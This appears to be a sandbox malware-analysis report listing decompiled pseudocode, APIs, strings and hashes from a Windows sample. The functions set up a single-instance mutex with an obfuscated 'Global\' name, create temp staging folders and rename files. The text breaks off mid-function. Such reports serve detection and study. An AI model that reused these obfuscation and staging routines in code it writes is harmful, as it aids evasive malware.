Opcode ID: 65ef1727ccb2ba0ec8a89ee89d113a0946801b82c515c23f198fcb6eab099f8c
Instruction ID: 93971b674baa79e9b40fa56cc4e69f1fc4f9217a3d16ef2c8978b01d462fc825
Opcode Fuzzy Hash: 65ef1727ccb2ba0ec8a89ee89d113a0946801b82c515c23f198fcb6eab099f8c
Instruction Fuzzy Hash: 8731A772D01218AADF50DBE1CD89EDE773CEB04314F10456BF604F7180D6B85E858B96

Uniqueness

Uniqueness Score: -1.00%

Function 00412A08, Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 76
stringCOMMON

Download Yara Rule

C-Code - Quality: 69%

			E00412A08(void* __ecx, intOrPtr _a4, intOrPtr _a12, signed char _a16) {
				signed int _v14;
				signed int _v16;
				signed int _v20;
				short _v36;
				char _v300;
				unsigned int _t28;
				void* _t30;
				signed int _t33;
				signed int* _t34;
				void* _t35;
				intOrPtr* _t41;
				void* _t49;
				WCHAR* _t50;
				void* _t54;
				signed int _t56;
				void* _t57;

				_t54 = __ecx;
				_t28 = E0040E271( &_v20, _a4, 0x10);
				_v20 = _v20 ^ _t28;
				_v16 = _v16 ^ _t28;
				_v14 = _v14 ^ _t28 >> 0x00000010;
				_t49 = 0;
				_t30 = 0;
				do {
					 *(_t57 + _t49 - 8) =  *(_t57 + _t49 - 8) ^  *(_t57 + _t30 + 0xc);
					_t30 =  ==  ? 0 : _t30 + 1;
					_t49 = _t49 + 1;
				} while (_t49 < 8);
				if(_a12 != 0) {
					E0040E271( &_v300, _a12, 0x102);
					E0040F6B1( &_v300, _t49,  &_v20, 0x10);
				}
				_t33 = _a16 & 0x000000ff;
				if(_t33 != 0) {
					_t35 = _t33 - 1;
					if(_t35 == 0) {
						_t50 = L"Local\\";
						_push(6);
						goto L11;
					} else {
						if(_t35 == 1) {
							lstrcpyW( &_v36, L"Hmpcbm]");
							_t41 =  &_v36;
							if(_v36 != 0) {
								do {
									 *_t41 =  *_t41 + 0xffff;
									_t41 = _t41 + 2;
								} while ( *_t41 != 0);
							}
							_t50 =  &_v36;
							_push(7);
							L11:
							_pop(_t56);
							E0040E5D6(_t56, _t50, _t54);
							_t54 = _t54 + _t56 * 2;
						}
					}
				}
				_t34 =  &_v20;
				__imp__StringFromGUID2(_t34, _t54, 0x28);
				return _t34;
			}

0x00412a18
0x00412a1e
0x00412a23
0x00412a26
0x00412a2d
0x00412a33
0x00412a35
0x00412a37
0x00412a3b
0x00412a43
0x00412a46
0x00412a47
0x00412a4f
0x00412a60
0x00412a71
0x00412a71
0x00412a7a
0x00412a7c
0x00412a7e
0x00412a7f
0x00412ab3
0x00412ab8
0x00000000
0x00412a81
0x00412a82
0x00412a8d
0x00412a93
0x00412a9a
0x00412a9c
0x00412aa1
0x00412aa4
0x00412aa7
0x00412a9c
0x00412aac
0x00412aaf
0x00412aba
0x00412aba
0x00412abf
0x00412ac4
0x00412ac4
0x00412a82
0x00412a7f
0x00412aca
0x00412ace
0x00412ad7

APIs

lstrcpyW.KERNEL32(00000000,Hmpcbm]), ref: 00412A8D
StringFromGUID2.OLE32(?,00422716,00000028,?,?,00000010,73BB8170,73B74EE0), ref: 00412ACE

Strings

Hmpcbm], xrefs: 00412A84
Local\, xrefs: 00412AB3

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: FromStringlstrcpy
String ID: Hmpcbm]$Local\
API String ID: 1346808046-587004110
Opcode ID: a3d269bd487e3dd28599a6feab45e2b6a453b318cd633880af4f8ef902db9661
Instruction ID: d28119e58a53cc1ee44d1eb9f6f3b575d6eb5d381b74fed05bc323767ba108bf
Opcode Fuzzy Hash: a3d269bd487e3dd28599a6feab45e2b6a453b318cd633880af4f8ef902db9661
Instruction Fuzzy Hash: 5221A13290021DA7CF24DBA48D45AEF7779FF48740F04482BE541F6181D7B899A58798

Uniqueness

Uniqueness Score: -1.00%

Function 00405688, Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 52
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00405688(void* __ecx, WCHAR* __edi, char _a4) {
				char _v108;
				char _v158;
				char _v178;
				char _v198;
				char _v596;
				void* __esi;
				signed int _t12;
				int _t14;
				WCHAR* _t16;
				char* _t18;
				WCHAR* _t19;

				_t19 = __edi;
				 *__edi = 0;
				E00405633(__ecx,  &_v596);
				_t2 =  &_a4; // 0x404d2a
				_t12 =  *_t2;
				if(_t12 == 0) {
					L6:
					_t18 =  &_v178;
					goto L7;
				} else {
					_t12 = _t12 - 1;
					if(_t12 == 0) {
						_t18 =  &_v198;
						L7:
						_t16 = 0x422308;
						goto L8;
					} else {
						_t12 = _t12 - 1;
						if(_t12 == 0) {
							goto L6;
						} else {
							_t14 = _t12 - 1;
							if(_t14 == 0) {
								_t16 = L"SOFTWARE\\Microsoft";
								_t18 =  &_v158;
								L8:
								_t21 =  &_v108;
								_t14 = E0040E440(_t12 | 0xffffffff, _t18,  &_v108, 0, 0x32);
								if(_t14 != 0) {
									_t14 = E00413B62(_t21, _t19, _t16);
									if(_t14 == 0) {
										L12:
										_t14 = 0;
										 *_t19 = 0;
									} else {
										if(_a4 == 0) {
											_t14 = PathRenameExtensionW(_t19, L".dat");
											if(_t14 == 0) {
												goto L12;
											}
										}
									}
								}
							}
						}
					}
				}
				return _t14;
			}

0x00405688
0x00405694
0x0040569f
0x004056a4
0x004056a7
0x004056aa
0x004056ca
0x004056ca
0x00000000
0x004056ac
0x004056ac
0x004056ad
0x004056c2
0x004056d0
0x004056d0
0x00000000
0x004056af
0x004056af
0x004056b0
0x00000000
0x004056b2
0x004056b2
0x004056b3
0x004056b5
0x004056ba
0x004056d5
0x004056d9
0x004056df
0x004056e6
0x004056ec
0x004056f3
0x0040570b
0x0040570b
0x0040570d
0x004056f5
0x004056f9
0x00405701
0x00405709
0x00000000
0x00000000
0x00405709
0x004056f9
0x004056f3
0x004056e6
0x004056b3
0x004056b0
0x004056ad
0x00405713

APIs

PathRenameExtensionW.SHLWAPI(?,.dat,?,00422308,00000000,00000032,?,77109EB0,00000000), ref: 00405701

Strings

*M@, xrefs: 004056A4
.dat, xrefs: 004056FB
SOFTWARE\Microsoft, xrefs: 004056B5

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: ExtensionPathRename
String ID: *M@$.dat$SOFTWARE\Microsoft
API String ID: 3337224433-3119866497
Opcode ID: 7b4328510eea7df9a01c9cd1b19cab6d9299efb5deb70a5480d7255a11804cf3
Instruction ID: d2b68d0583e50b044f606b58a2c53d92e6bccc6e163149f86b731d13e3b9728b
Opcode Fuzzy Hash: 7b4328510eea7df9a01c9cd1b19cab6d9299efb5deb70a5480d7255a11804cf3
Instruction Fuzzy Hash: BE01B530720A0996DB109B688D89BBB7378DF50744FC00877A909F72C1E77D9E81CA6E

Uniqueness

Uniqueness Score: -1.00%

Function 004138EA, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004138EA(WCHAR* _a4) {
				signed int _t4;
				short _t9;
				signed short _t10;
				WCHAR* _t11;
				WCHAR* _t12;
				int _t18;

				_t12 = _a4;
				_t9 = 0;
				_t11 = PathSkipRootW(_t12);
				if(_t11 == 0) {
					_t11 = _t12;
				}
				while(1) {
					_t4 =  *_t11 & 0x0000ffff;
					if(_t4 == 0x5c || _t4 == 0x2f || _t4 == 0) {
						goto L5;
					}
					L11:
					_t11 =  &(_t11[1]);
					continue;
					L5:
					_t10 = _t4;
					 *_t11 = 0;
					if(GetFileAttributesW(_t12) == 0xffffffff) {
						_t18 = CreateDirectoryW(_t12, 0);
					}
					if(_t18 == 0) {
						L13:
						return _t9;
					} else {
						if(_t10 == 0) {
							_t9 = 1;
							goto L13;
						}
						 *_t11 = _t10;
						goto L11;
					}
				}
			}

0x004138ec
0x004138f3
0x004138fb
0x004138ff
0x00413901
0x00413901
0x00413903
0x00413903
0x00413909
0x00000000
0x00000000
0x00413941
0x00413941
0x00000000
0x00413915
0x00413915
0x0041391a
0x00413926
0x00413931
0x00413931
0x00413937
0x0041394b
0x0041394e
0x00413939
0x0041393c
0x00413946
0x00000000
0x00413946
0x0041393e
0x00000000
0x0041393e
0x00413937

APIs

PathSkipRootW.SHLWAPI(?,.exe,00000000,?,00000000,0041D44D,?,?,?,?,?), ref: 004138F5
GetFileAttributesW.KERNEL32(?,?,00000000,0041D44D,?,?,?,?,?), ref: 0041391D
CreateDirectoryW.KERNEL32(?,00000000,?,00000000,0041D44D,?,?,?,?,?), ref: 0041392B

Strings

.exe, xrefs: 004138F1

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: AttributesCreateDirectoryFilePathRootSkip
String ID: .exe
API String ID: 4231520044-4119554291
Opcode ID: 1de8fb44a6bd880f379eba3682519f074f6c8a79c4fedf02199b93c2d71908ba
Instruction ID: b9a1c47128142ab391d47289dd2dfa9ac1771633d2650f2a00bd839188431723
Opcode Fuzzy Hash: 1de8fb44a6bd880f379eba3682519f074f6c8a79c4fedf02199b93c2d71908ba
Instruction Fuzzy Hash: F0F04CB15542049AC6300F2949847E7739C8F01BB27550527ECE1E7360D7799EC0C26C

Uniqueness

Uniqueness Score: -1.00%

Function 0041D9D4, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041D9D4(WCHAR* __ebx, void* __ecx, char _a4) {
				void* __edi;
				long _t3;
				WCHAR* _t13;

				_t13 = __ebx;
				if( *0x423910 == 0) {
					E00405688(__ecx, 0x423910, 2);
					 *((short*)(E0040E271(0x423b18, 0x423910, E0040ED84(0x423910) + _t10) + 0x423b18)) = 0;
					_t3 = PathRemoveFileSpecW(0x423b18);
				}
				if(_t13 != 0) {
					E0040E5D6(_t3 | 0xffffffff, 0x423910, _t13);
					_t3 = PathRenameExtensionW(_t13, L".tmp");
				}
				if(_a4 != 0 &&  *0x422514 > 1) {
					E004138EA(0x423b18);
					E004119C1(0x423b18);
					_t3 = GetFileAttributesW(0x423910);
					if(_t3 != 0xffffffff) {
						return E004119C1(0x423910);
					}
				}
				return _t3;
			}

0x0041d9d4
0x0041d9e8
0x0041d9ec
0x0041da05
0x0041da0c
0x0041da0c
0x0041da14
0x0041da1d
0x0041da28
0x0041da28
0x0041da33
0x0041da3f
0x0041da45
0x0041da4b
0x0041da54
0x00000000
0x0041da57
0x0041da54
0x0041da5e

APIs

PathRemoveFileSpecW.SHLWAPI(00423B18,00423B18,00423910,00000000,00000002,00000000,00020000,0041E4CE,00000001,?,8793AEF2,00000002,00002723,00020000,00000000,00002722), ref: 0041DA0C
PathRenameExtensionW.SHLWAPI(00000000,.tmp,00000000,00020000,0041E4CE,00000001,?,8793AEF2,00000002,00002723,00020000,00000000,00002722,00020000,?,?), ref: 0041DA28
GetFileAttributesW.KERNEL32(00423910,00423B18,00423B18,00000000,00020000,0041E4CE,00000001,?,8793AEF2,00000002,00002723,00020000,00000000,00002722,00020000,?), ref: 0041DA4B

Part of subcall function 00405688: PathRenameExtensionW.SHLWAPI(?,.dat,?,00422308,00000000,00000032,?,77109EB0,00000000), ref: 00405701

Strings

.tmp, xrefs: 0041DA22

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: Path$ExtensionFileRename$AttributesRemoveSpec
String ID: .tmp
API String ID: 3627892477-2986845003
Opcode ID: b203e67d2086523cb4182181e0c6f423c0e715f0d9fb2ce39a8a3dc3544d6bac
Instruction ID: 35836b4302bd18c8cc5556f050bc6fd6836eb68454a2d188efe960fe12ec3afd
Opcode Fuzzy Hash: b203e67d2086523cb4182181e0c6f423c0e715f0d9fb2ce39a8a3dc3544d6bac
Instruction Fuzzy Hash: F8F02BF0B0411035D6207B365C49FBF1A994F82315F44063FB150B21E2CBBC4EC2829D

Uniqueness

Uniqueness Score: -1.00%

Function 004136E8, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 45
COMMON

Download Yara Rule

C-Code - Quality: 86%

			E004136E8(WCHAR* _a4) {
				short _v524;
				char _v1044;
				void* __edi;
				void* _t11;
				void* _t19;
				void* _t20;

				if(GetTempPathW(0xf6,  &_v524) - 1 > 0xf5) {
					L6:
					return 0;
				}
				_t19 = 0;
				while(1) {
					_push(E0040F56E());
					_push(L"tmp");
					_t18 =  &_v1044;
					_t11 = E0040EF28(_t10, 0x104,  &_v1044, L"%s%08x");
					_t20 = _t20 + 0xc;
					if(_t11 == 0xffffffff) {
						goto L6;
					}
					if(E00413B62(_t18, _a4,  &_v524) == 0 || CreateDirectoryW(_a4, 0) == 0) {
						_t19 = _t19 + 1;
						if(_t19 < 0x64) {
							continue;
						}
						goto L6;
					} else {
						return 1;
					}
				}
				goto L6;
			}

0x0041370b
0x00413761
0x00000000
0x00413761
0x0041370d
0x0041370f
0x00413714
0x00413715
0x00413724
0x0041372a
0x0041372f
0x00413735
0x00000000
0x00000000
0x0041374a
0x0041375b
0x0041375f
0x00000000
0x00000000
0x00000000
0x00413769
0x00000000
0x00413769
0x0041374a
0x00000000

APIs

GetTempPathW.KERNEL32(000000F6,?,00000000,?), ref: 004136FF

Part of subcall function 0040F56E: GetTickCount.KERNEL32 ref: 0040F56E

Part of subcall function 00413B62: PathCombineW.SHLWAPI(?,}L@,?,00404C7D,?,?), ref: 00413B81

CreateDirectoryW.KERNEL32(?,00000000,?,?), ref: 00413751

Strings

tmp, xrefs: 00413715
%s%08x, xrefs: 0041371A

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: Path$CombineCountCreateDirectoryTempTick
String ID: %s%08x$tmp
API String ID: 1218007593-1196434543
Opcode ID: 42252cb164b82a8cd83867a373cf503f69761eca84a9db10c225e3bc7c6de17f
Instruction ID: fb56dfa28ea16d2116eb51f93daf31a9fa8839c11b81d8a5d3881247bfe0a8fc
Opcode Fuzzy Hash: 42252cb164b82a8cd83867a373cf503f69761eca84a9db10c225e3bc7c6de17f
Instruction Fuzzy Hash: 1FF0F4F110021426EA207E299D4ABEB3758DB41715F108133FA61B61E2D2789FCA969C

Uniqueness

Uniqueness Score: -1.00%

Function 004052B0, Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 37
synchronizationCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E004052B0(void* __ecx, void* __edx, intOrPtr _a4) {
				char _v472;
				char _v948;
				void* _v962;
				char _v1436;
				char _v1544;
				short _v1560;
				void* _t20;
				void* _t24;

				_t20 = __ecx;
				E00405606( &_v948);
				E00405633(_t20,  &_v1436);
				_t6 =  &_v1544; // 0x422520
				E00412A08(_t6, 0x422520, _a4,  &_v472, 2);
				_t24 = CreateMutexW(0x4222e0, 1,  &_v1560);
				if(_t24 != 0 && GetLastError() == 0xb7) {
					CloseHandle(_t24);
					_t24 = 0;
				}
				return _t24;
			}

0x004052b0
0x004052c4
0x004052ce
0x004052ec
0x004052f0
0x00405307
0x0040530b
0x0040531b
0x00405321
0x00405321
0x00405329

APIs

Part of subcall function 00412A08: lstrcpyW.KERNEL32(00000000,Hmpcbm]), ref: 00412A8D
Part of subcall function 00412A08: StringFromGUID2.OLE32(?,00422716,00000028,?,?,00000010,73BB8170,73B74EE0), ref: 00412ACE

CreateMutexW.KERNEL32(004222E0,00000001,?,00422520,?,?,00000002,?,?), ref: 00405301
GetLastError.KERNEL32 ref: 0040530D
CloseHandle.KERNEL32(00000000), ref: 0040531B

Strings

%B, xrefs: 004052EC

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: CloseCreateErrorFromHandleLastMutexStringlstrcpy
String ID: %B
API String ID: 3902235679-3073208233
Opcode ID: abb34fc934970b7fdcacabc797a5828cafa333f06fe2cffe52d68746b4694785
Instruction ID: 9bbe9665c41148bf77fa871676ae17272f1768bdfbcf65df43b117970decbef6
Opcode Fuzzy Hash: abb34fc934970b7fdcacabc797a5828cafa333f06fe2cffe52d68746b4694785
Instruction Fuzzy Hash: 15F02832504A10ABC220E764EC05A9BB39CDF58350F800A36FE44F21E0DBB89A14CBDE

Uniqueness

Uniqueness Score: -1.00%

Function 00417F3A, Relevance: 6.4, APIs: 5, Instructions: 153
COMMON

Download Yara Rule

C-Code - Quality: 93%

			E00417F3A(void* __eflags, signed int _a4, signed int _a8, void _a12, signed int _a16) {
				char _v5;
				char _v12;
				signed int _v16;
				char _v20;
				char _v24;
				char _v28;
				void* __edi;
				void* __esi;
				signed int _t55;
				void* _t58;
				signed int* _t59;
				intOrPtr _t60;
				signed int _t61;
				signed int _t62;
				signed int _t71;
				signed int _t79;
				signed int _t84;
				signed int _t89;
				signed int _t91;
				void* _t96;
				intOrPtr* _t99;
				signed int _t103;
				signed int _t107;

				_v16 = _v16 | 0xffffffff;
				EnterCriticalSection(0x42384c);
				_t99 = _a4;
				_t55 = E004177A9( *_t99);
				if(_t55 == 0xffffffff) {
					L33:
					LeaveCriticalSection(0x42384c);
					return _v16;
				}
				_t58 = _t55 * 0x24 +  *0x423864;
				if( *((intOrPtr*)(_t58 + 0x10)) <= 0) {
					goto L33;
				}
				_t96 = _t58;
				if( *((intOrPtr*)(_t96 + 0x10)) != 1 || ( *( *(_t96 + 0xc)) & 0x00000003) == 0) {
					_t59 = _a16;
					__eflags = _t59;
					if(_t59 != 0) {
						 *_t59 =  *_t59 & 0x00000000;
						__eflags =  *_t59;
					}
					__eflags =  *((intOrPtr*)(_t96 + 0x18)) - 0xffffffff;
					if(__eflags != 0) {
						L22:
						_t60 =  *((intOrPtr*)(_t96 + 0x18));
						__eflags = _t60 - 0xffffffff;
						if(_t60 != 0xffffffff) {
							__eflags = _v16 - 0xffffffff;
							if(_v16 == 0xffffffff) {
								_t61 = _t60 -  *(_t96 + 0x1c);
								__eflags = _t61;
								_t103 = _t61;
								if(_t61 != 0) {
									__eflags = _a8;
									if(_a8 == 0) {
										_a12 = E0040F5BA(0x2000, 0x1000);
									}
									__eflags = _a12 - _t103;
									_t103 =  <  ? _a12 : _t103;
									__eflags = _a8;
									if(_a8 != 0) {
										E0040E271(_a8,  *((intOrPtr*)(_t96 + 0x14)) +  *(_t96 + 0x1c), _t103);
										_t50 = _t96 + 0x1c;
										 *_t50 =  *(_t96 + 0x1c) + _t103;
										__eflags =  *_t50;
									}
								}
								_t62 = _a16;
								__eflags = _t62;
								if(_t62 != 0) {
									 *_t62 = _t103;
								}
								_v16 = 1;
							}
						}
						goto L32;
					}
					LeaveCriticalSection(0x42384c);
					_v5 = E00417E2B( &_v20, __eflags,  *_t99,  *((intOrPtr*)(_t96 + 4)),  &_v12);
					EnterCriticalSection(0x42384c);
					__eflags = _v5;
					if(_v5 == 0) {
						L21:
						_t37 =  &_v16;
						 *_t37 = _v16 & 0x00000000;
						__eflags =  *_t37;
						SetLastError(0x2ee4);
						goto L22;
					}
					_t105 =  *_a4;
					_t71 = E004177A9( *_a4);
					__eflags = _t71 - 0xffffffff;
					if(_t71 == 0xffffffff) {
						E0040E235(_v12);
						goto L21;
					}
					_t96 = _t71 * 0x24 +  *0x423864;
					_t101 = E00410486( &_v24, _t105);
					_t79 = E004081DE( *((intOrPtr*)(_t96 + 0x10)),  *(_t96 + 0xc), _t75,  &_v12,  &_v20);
					__eflags = _t79;
					if(_t79 == 0) {
						L19:
						E0040E235(_t101);
						 *((intOrPtr*)(_t96 + 0x14)) = _v12;
						 *((intOrPtr*)(_t96 + 0x18)) = _v20;
						goto L22;
					}
					_t84 = E0040E475(_v24, 0, _t101);
					_a4 = _t84;
					__eflags = _t84;
					if(_t84 == 0) {
						goto L19;
					}
					_v28 = 0x1000;
					_t107 = E0040E205(0x1000);
					__eflags = _t107;
					if(_t107 == 0) {
						L18:
						E0040E235(_a4);
						goto L19;
					}
					 *_t107 = 0x50;
					_t89 =  *0x42382c(_a4, _t107,  &_v28);
					__eflags = _t89;
					if(_t89 != 0) {
						_t91 =  *(_t107 + 8);
						__eflags = _t91;
						if(_t91 != 0) {
							__eflags =  *_t91;
							if( *_t91 != 0) {
								E00413495(_t91, _v12, _v20);
							}
						}
					}
					E0040E235(_t107);
					goto L18;
				} else {
					 *_t99 =  *((intOrPtr*)(_t96 + 0x20));
					L32:
					goto L33;
				}
			}

0x00417f40
0x00417f4b
0x00417f51
0x00417f56
0x00417f5e
0x00418109
0x0041810e
0x0041811a
0x0041811a
0x00417f67
0x00417f71
0x00000000
0x00000000
0x00417f78
0x00417f7e
0x00417f92
0x00417f95
0x00417f97
0x00417f99
0x00417f99
0x00417f99
0x00417f9c
0x00417fa0
0x004180ab
0x004180ab
0x004180ae
0x004180b1
0x004180b3
0x004180b7
0x004180b9
0x004180b9
0x004180bc
0x004180be
0x004180c0
0x004180c4
0x004180d5
0x004180d5
0x004180d8
0x004180db
0x004180df
0x004180e3
0x004180f0
0x004180f5
0x004180f5
0x004180f5
0x004180f5
0x004180e3
0x004180f8
0x004180fb
0x004180fd
0x004180ff
0x004180ff
0x00418101
0x00418101
0x004180b7
0x00000000
0x004180b1
0x00417fae
0x00417fc8
0x00417fcb
0x00417fd1
0x00417fd5
0x0041809c
0x0041809c
0x0041809c
0x0041809c
0x004180a5
0x00000000
0x004180a5
0x00417fde
0x00417fe0
0x00417fe5
0x00417fe8
0x00418097
0x00000000
0x00418097
0x00417ffb
0x00418005
0x00418013
0x00418018
0x0041801a
0x00418080
0x00418081
0x00418089
0x0041808f
0x00000000
0x0041808f
0x00418022
0x00418027
0x0041802a
0x0041802c
0x00000000
0x00000000
0x00418033
0x0041803b
0x0041803d
0x0041803f
0x00418078
0x0041807b
0x00000000
0x0041807b
0x00418049
0x0041804f
0x00418055
0x00418057
0x00418059
0x0041805c
0x0041805e
0x00418060
0x00418064
0x0041806d
0x0041806d
0x00418064
0x0041805e
0x00418073
0x00000000
0x00417f88
0x00417f8b
0x00418108
0x00000000
0x00418108

APIs

EnterCriticalSection.KERNEL32(0042384C), ref: 00417F4B
LeaveCriticalSection.KERNEL32(0042384C), ref: 00417FAE
EnterCriticalSection.KERNEL32(0042384C), ref: 00417FCB
SetLastError.KERNEL32(00002EE4), ref: 004180A5
LeaveCriticalSection.KERNEL32(0042384C), ref: 0041810E

Memory Dump Source

Source File: 00000000.00000002.638288920.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.638284463.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.638306188.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.638310296.0000000000425000.00000002.00020000.sdmp Download File

Similarity

API ID: CriticalSection$EnterLeave$ErrorLast
String ID:
API String ID: 486337731-0
Opcode ID: 3a85601c62060c843c70ef35e19ba1bf6c64a6db84234bcf981323aeb8564826
Instruction ID: 2979020236d6893efa77af4bdbce29d765e8b9ad189d514e276191f0bcd764cb
Opcode Fuzzy Hash: 3a85601c62060c843c70ef35e19ba1bf6c64a6db84234bcf981323aeb8564826
Instruction Fuzzy Hash: 8E517E31900219ABCF10DF65CC85BDF7BB8AF08314F04456AF954AB291DB38DA95CFA8

Uniqueness

Uniqueness Score: -1.00%

Function 004077B8, Relevance: 6.3, APIs: 4, Instructions: 303
COMMON

Download Yara Rule

C-Code - Quality: 99%

			E004077B8(void* __edx, intOrPtr _a4) {
				signed int _v12;
				int _v16;
				void* _v20;
				int _v24;
				signed int _v28;
				int _v32;
				char _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				intOrPtr _v56;
				signed int _v60;
				signed int _v64;
				intOrPtr _v74;
				intOrPtr _v78;
				char _v80;
				struct _SYSTEMTIME _v96;
				char _v112;
				short _v184;
				short _v288;
				void* __ebx;
				void* __esi;
				signed int _t127;
				signed int _t131;
				signed int _t132;
				signed int _t133;
				signed int _t134;
				signed int _t140;
				signed int _t142;
				signed int _t143;
				signed int _t151;
				signed int _t155;
				signed int _t159;
				signed char _t163;
				signed int _t167;
				signed int _t176;
				signed int _t177;
				signed int _t186;
				long _t191;
				long _t195;
				signed int _t201;
				void* _t202;
				signed int _t203;
				signed int _t208;
				signed int _t211;
				signed int _t212;
				signed int _t219;
				short* _t230;
				signed int _t238;
				intOrPtr _t239;
				void* _t244;

				_t239 = _a4;
				_t126 =  *((intOrPtr*)(_t239 + 0x40));
				if( *((intOrPtr*)(_t239 + 0x40)) != 0) {
					_t127 = E00413F1D( &_v12, __edx, __eflags, _t126, 0x4e27, 0x10000000);
					 *(_t239 + 0x3c) =  *(_t239 + 0x3c) & 0x00000000;
					 *(_t239 + 0x38) =  *(_t239 + 0x38) & 0x00000000;
					_t238 = _t127;
					_v64 = _t238;
					__eflags = _t238;
					if(_t238 == 0) {
						L55:
						E0040E235(_v64);
						__eflags = 0 -  *(_t239 + 0x3c);
						asm("sbb eax, eax");
						return  ~0x00000000;
					}
					_t131 = _v12;
					__eflags = _t131 - 0x10;
					if(_t131 <= 0x10) {
						goto L55;
					}
					__eflags =  *((char*)(_t239 + 0x18)) - 1;
					_v16 = 1;
					_t132 = _t131 + _t238;
					__eflags = _t132;
					_v28 = ((0 |  *((char*)(_t239 + 0x18)) != 0x00000001) - 0x00000001 & 0xffffffe0) + 0x00000040 & 0x0000ffff;
					_v12 = _t132;
					while(1) {
						_t133 =  *(_t238 + 2) & 0x0000ffff;
						__eflags = _t133 - 0x10;
						if(_t133 < 0x10) {
							goto L55;
						}
						_t219 =  *(_t238 + 4) & 0x0000ffff;
						__eflags = _t219 - _t133;
						if(_t219 >= _t133) {
							goto L55;
						}
						__eflags =  *(_t238 + 6) - _t133;
						if( *(_t238 + 6) >= _t133) {
							goto L55;
						}
						__eflags =  *(_t238 + 8) - _t133;
						if( *(_t238 + 8) >= _t133) {
							goto L55;
						}
						__eflags =  *(_t238 + 0xa) - _t133;
						if( *(_t238 + 0xa) >= _t133) {
							goto L55;
						}
						__eflags =  *(_t238 + 0xc) - _t133;
						if( *(_t238 + 0xc) >= _t133) {
							goto L55;
						}
						__eflags =  *(_t238 + 0xe) - _t133;
						if( *(_t238 + 0xe) >= _t133) {
							goto L55;
						}
						_t134 =  *_t238 & 0x0000ffff;
						_t208 = _t134 >> 0x00000009 & 0x00000008;
						_t220 = _t238 + _t219;
						__eflags = (_t134 & _v28) - _v28;
						if((_t134 & _v28) != _v28) {
							L48:
							_t238 = _t238 + ( *(_t238 + 2) & 0x0000ffff);
							_t102 = _t238 + 0x10; // 0x10
							__eflags = _t102 - _v12;
							if(_t102 > _v12) {
								goto L55;
							}
							__eflags = ( *(_t238 + 2) & 0x0000ffff) + _t238 - _v12;
							if(( *(_t238 + 2) & 0x0000ffff) + _t238 > _v12) {
								goto L55;
							}
							_v16 = _v16 + 1;
							continue;
						}
						_t234 = _t208;
						_t140 = E00407495(_t220, _t208,  *((intOrPtr*)(_t239 + 8)),  *((intOrPtr*)(_t239 + 0xc)));
						__eflags = _t140;
						if(_t140 == 0) {
							goto L48;
						}
						_t141 =  *(_t239 + 0x44);
						__eflags =  *(_t239 + 0x44);
						if(__eflags == 0) {
							L16:
							_t142 =  *(_t238 + 8) & 0x0000ffff;
							__eflags = _t142;
							if(_t142 == 0) {
								L18:
								_t143 =  *(_t238 + 0xa) & 0x0000ffff;
								__eflags = _t143;
								if(_t143 == 0) {
									L20:
									__eflags =  *_t238 & 0x00000010;
									if(( *_t238 & 0x00000010) == 0) {
										L31:
										E0040E2E8( &_v60,  &_v60, 0, 0x1c);
										_v60 =  *_t238 & 0x0000ffff;
										_t209 = _t208 | 0xffffffff;
										_v56 = E0040E693(_t208 | 0xffffffff, ( *(_t238 + 4) & 0x0000ffff) + _t238);
										_t151 =  *(_t238 + 6) & 0x0000ffff;
										__eflags = _t151;
										if(_t151 != 0) {
											__eflags = _t151 + _t238;
											_v52 = E0040E693(_t209, _t151 + _t238);
										} else {
											_v52 = _v52 & 0x00000000;
										}
										_t155 =  *(_t238 + 0xc) & 0x0000ffff;
										__eflags = _t155;
										if(_t155 != 0) {
											__eflags = _t155 + _t238;
